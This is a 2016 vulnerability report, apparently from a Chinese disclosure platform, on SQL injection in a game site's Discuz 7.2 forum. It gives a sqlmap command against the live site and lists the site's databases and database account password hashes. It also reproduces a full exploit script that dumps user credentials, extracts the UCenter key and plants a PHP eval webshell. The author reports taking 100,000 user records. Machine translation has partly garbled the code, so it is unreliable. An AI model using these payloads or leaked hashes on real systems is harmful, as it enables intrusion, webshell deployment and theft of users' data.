漏洞标题 游戏安全之3737游戏平台某处严重安全缺陷+应用配置不当(可Union跨库查询/涉及400W+用户信息) 相关厂商 3737.com 漏洞作者 Exploit DB 提交时间 2016-05…
漏洞标题
游戏安全3737游戏平台某处严重安全漏洞+应用程序配置不当(联盟跨数据库查询/涉及400W +用户信息)
相关制造商
3737.com
漏洞作者
利用数据库
提交时间
2016-05-06 12: 52
公共时间
2016-06-20 13: 00
漏洞类型
SQL注入漏洞
危险等级
高
自我评估等级
20
漏洞状态
制造商已确认
标签标签
漏洞详细信息
#1 SQL注入
Discuz7.2 faq.php sql注入:http://bbs.3737.com/faq.php
今天下午我被蒙蔽了。我可以直接用在线EXP公布管理员密码。
但是用sqlmap却长时间无法用完库,最后终于用sqlmap成功用完了库
需要篡改脚本:之间
Sqlmap.py -u'http://bbs.3737.com//faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from% 20(选择%20count(*),concat(version(),floor(rand(0)* 2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23' - atamper=之间

可用数据库[23]:
[*] flashgame
[*] flashgame_25371
[*] flashgame_68910
[*] flashgame_93981
[*] game_resource
[*] information_schema
[*] mysql
[*] nagios
[*] newtop_bbs
[*] newtop_count
[*] newtop_new_union
[*] newtop_ucenter
[*] newtop_union
[*] newtop_web
[*] phpcms_gameinfo
[*] union_789un
[*] zhanqun_17daji
[*] zhanqun_443399
[*] zhanqun_60853
[*] zhanqun_67139
[*] zhanqun_79307
[*] zhanqun_83586
[*] zhanqun_91daji
[*] cms_root [1]:
密码哈希: * 024DF021986F236BC2A3EA64AFEC60EB1AC8074B
[*] count_web [1]:
密码哈希: * 6861336D04C89DFE419FE5FE7D78A5C5FB8162DE
[*] flashgame [1]:
密码哈希: * 5DC1BCC8A9D7885317EA5FE1B75E4E6DE112E8A7
[*] nagios [1]:
密码哈希: * 7031B081B84542E16AD42D87786B8AA7CE97FE0E
[*] root [3]:
密码哈希: * 2D03EB2825EA49D52E4619CFBE89AE1500D7B43A
密码哈希: * 5FE18 * F40A4A227BCC8B68A488167A73171F4E2
密码哈希: * 6783102CC331B93B27DC1B4CE64163E678802A63
[*] select_db_count [1]:
密码哈希: * 6783102CC331B93B27DC1B4CE64163E678802A63
[*] slave_admin [1]:
密码哈希: * 562C5917A97191E45065E86D5982F9072E1FEEA6
[*] top_web [1]:
密码哈希: * 621D52A9095F131E30E786FA77D5DB8DDB592D22
[*] xiaobei [2]:
密码哈希: * 6783102CC331B93B27DC1B4CE64163E678802A63
密码哈希: * 79AC804D12E3482563B4012D758D182AFF8C98D4

两者都是400W +保守估计两者对于用户应该是相同的。
使用公开的EXP快速删除裤子
#!/usr/bin/env python
# - * - 编码: gbk - * -
# - * - 编码: utf_8 - * -
#author iswin
导入系统
导入hashlib
进口时间
导入数学
导入base64
导入urllib2
导入urllib
导入重新
Def sendRequest(url,para):
试试:
Data=urllib.urlencode(para)
REQ=urllib2.Request(URL,数据)
RES=urllib2.urlopen(REQ,超时=20).read()
除了例外,e:
打印'漏洞利用失败!\ n%s'%(e)
出口(0);
返回资源
Def getTablePrefix(url):
打印'开始GetTablePrefix .'
Para={'action':'grouppermission','gids [99]':'\'','gids [100] [0]':')和(从中选择1(select count(*),concat((从INFORMATION_SCHEMA.TABLES中选择十六进制(TABLE_NAME),其中table_schema=database()limit 0,1),floor(rand(0)* 2))x来自information_schema.tables group by x)a)#'}
RES=sendRequest将(URL,对位);
Pre=re.findall('Duplicate entry'(。*?)'',res);
如果len(pre)==0:
打印'漏洞利用失败!'
出口(0);
Table_pre=pre [0] [: len(pre [0]) - 1] .decode('hex')
Table_pre=table_pre [0: table_pre.index('_')]
打印'table_pre:%s'%(table_pre)
返回table_pre
Def getCurrentUser(url):
Para={'action':'grouppermission','gids [99]':'\'','gids [100] [0]':')和(从中选择1(select count(*),concat(用户) (),floor(rand(0)* 2))x来自information_schema.tables group by x)a)#'}
RES=sendRequest将(URL,对位)
Pre=re.findall('Duplicate entry'(。*?)'',res)
如果len(pre)==0:
打印'漏洞利用失败!'
出口(0);
Table_pre=pre [0] [: len(pre [0]) - 1]
打印'当前用户:%s'%(table_pre)
返回table_pre
Def getUcKey(url):
Para={'action':'grouppermission','gids [99]':'\'','gids [100] [0]':')和(从中选择1(select count(*),concat((从cdb_uc_applications limit 0,1)选择substr(authkey,1,62),floor(rand(0)* 2))x来自information_schema.tables group by x)a)#'}
Para1={'action':'grouppermission','gids [99]':'\'','gids [100] [0]':')和(从中选择1(select count(*),concat((从cdb_uc_applications limit 0,1)选择substr(authkey,63,2),floor(rand(0)* 2))x,来自information_schema.tables group by x)a)#'}
RES=sendRequest将(URL,对位);
RES1=sendRequest将(URL,PARA1);
Key1=re.findall('Duplicate entry'(。*?)'',res)
Key2=re.findall('Duplicate entry'(。*?)'',res1)
如果len(key1)==0:
打印'让Uc_Key失败!'
回归''
Key=key1 [0] [: len(key1 [0]) - 1] + key2 [0] [: len(key2 [0]) - 1]
打印'uc_key:%s'%(键)
返回键
Def getRootUser(url):
Para={'action':'grouppermission','gids [99]':'\'','gids [100] [0]':')和(从中选择1(select count(*),concat((从mysql.user limit 0,1)中选择concat(用户,0x20,密码),floor(rand(0)* 2))x来自information_schema.tables group by x)a)#'}
RES=sendRequest将(URL,对位);
Pre=re.findall('Duplicate entry'(。*?)'',res)
如果len(pre)==0:
打印'漏洞利用失败!'
出口(0);
Table_pre=pre [0] [: len(pre [0]) - 1] .split('')
打印'根信息: \ nuser:%s密码:%s'%(table_pre [0],table_pre [1])
Def dumpData(url,table_prefix,count):
Para={'action':'grouppermission','gids [99]':'\'','gids [100] [0]':')和(从中选择1(select count(*),concat((选择concat(用户名,0x20,密码)来自%s_members limit%d,1),floor(rand(0)* 2))x来自information_schema.tables group by x)a)#'%(table_prefix,count)}
RES=sendRequest将(URL,对位);
Datas=re.findall('Duplicate entry'(。*?)'',res)
如果len(datas)==0:
打印'漏洞利用失败!'
退出(0)
Cleandata=datas [0] [: len(datas [0]) - 1]
Info=cleandata.split('')
打印'用户:%s传递:%s'%(info [0] .decode('utf-8')。encode('cp936'),info [1])
Def microtime(get_as_float=False):
如果get_as_float:
返回time.time()
否则为:
返回'%。8f%d'%math.modf(time.time())
Def get_authcode(string,key=''):
Ckey_length=4
Key=hashlib.md5(key).hexdigest()
Keya=hashlib.md5(key [0: 16])。hexdigest()
Keyb=hashlib.md5(key [16: 32])。hexdigest()
Keyc=(hashlib.md5(microtime())。hexdigest())[ - ckey_length:]
Cryptkey=keya + hashlib.md5(keya + keyc).hexdigest()
Key_length=len(密钥)
String='0000000000'+(hashlib.md5(string + keyb))。hexdigest()[0: 16] + string
String_length=len(string)
结果=''
Box=范围(0,256)
Rndkey=dict()
对于范围(0,256):中的i
Rndkey [i]=ord(cryptkey [i%key_length])
J=0
对于范围(0,256):中的i
j=(j + box [i] + rndkey [i])%256
Tmp=box [i]
方框[i]=方框[j]
Box [j]=tmp
a=0时
J=0
对于范围内的i(0,string_length):
a=(a + 1)%256
j=(j + box [a])%256
Tmp=方框[a]
方框[a]=方框[j]
Box [j]=tmp
结果+=chr(ord(string [i])^(box [(box [a] + box [j])%256]))
返回keyc + base64.b64encode(result).replace('=','')
def get_shell(url,key,host):
标题={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0(兼容; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer': url
}
Tm=time.time()+ 10 * 3600
Tm='time=%d& action=updateapps'%tm
Code=urllib.quote(get_authcode(tm,key))
URL=网址+ '?代码=' +代码
Data1='''<xml version='1.0'coding='ISO-8859-1'?>
<根>
< item id='UC_API'>http://xxx \'); eval($ _ POST [3]); //</item>
< /根> ''”
试试:
REQ=urllib2.Request(URL,数据DATA1=,标题=报头)
RET=urllib2.urlopen(REQ)
除了:
返回'Exploit Falied'
Data2='''<xml version='1.0'coding='ISO-8859-1'?>
<根>
< item id='UC_API'>http://aaa</item>
< /根> ''”
试试:
REQ=urllib2.Request(URL,数据=DATA2,标头=报头)
RET=urllib2.urlopen(REQ)
除了:
返回'错误'
试试:
REQ=urllib2.Request(主机+ '/config.inc.php中')
RES=urllib2.urlopen(REQ,超时=20).read()
除了例外,e:
打印'GetWebshell失败,%s'%(e)
返回
打印'webshell:'+ host +'/config.inc.php,密码: 3'
如果__name__=='__ main__':
打印'DZ7.x Exp Code by iswin'
如果len(sys.argv)< 3:
打印'DZ7.x Exp Code by iswin \ nusage: python dz7.pyhttp://www.waitalone.cn 10'
退出(0)
URL=sys.argv中[1] + '/faq.php'
计数=INT(sys.argv中[2])
用户=getCurrentUser(URL)
如果user.startswith('root @'):
getRootUser(URL)
Uc_key=getUcKey(URL)
如果len(uc_key)==64:
打印'开始GetWebshell .'
Get_shell(sys.argv [1] +'/api/uc.php',uc_key,sys.argv [1])
Tb_pre=getTablePrefix(URL)
打印'开始转储数据.'
对于x in xrange(0,count):
dumpData(URL,tb_pre,x)的
由于时间原因,我只拿走了10万。

不要再进一步了
漏洞证明:
修理计划:
版权声明:请注明出处Exploit DB @乌云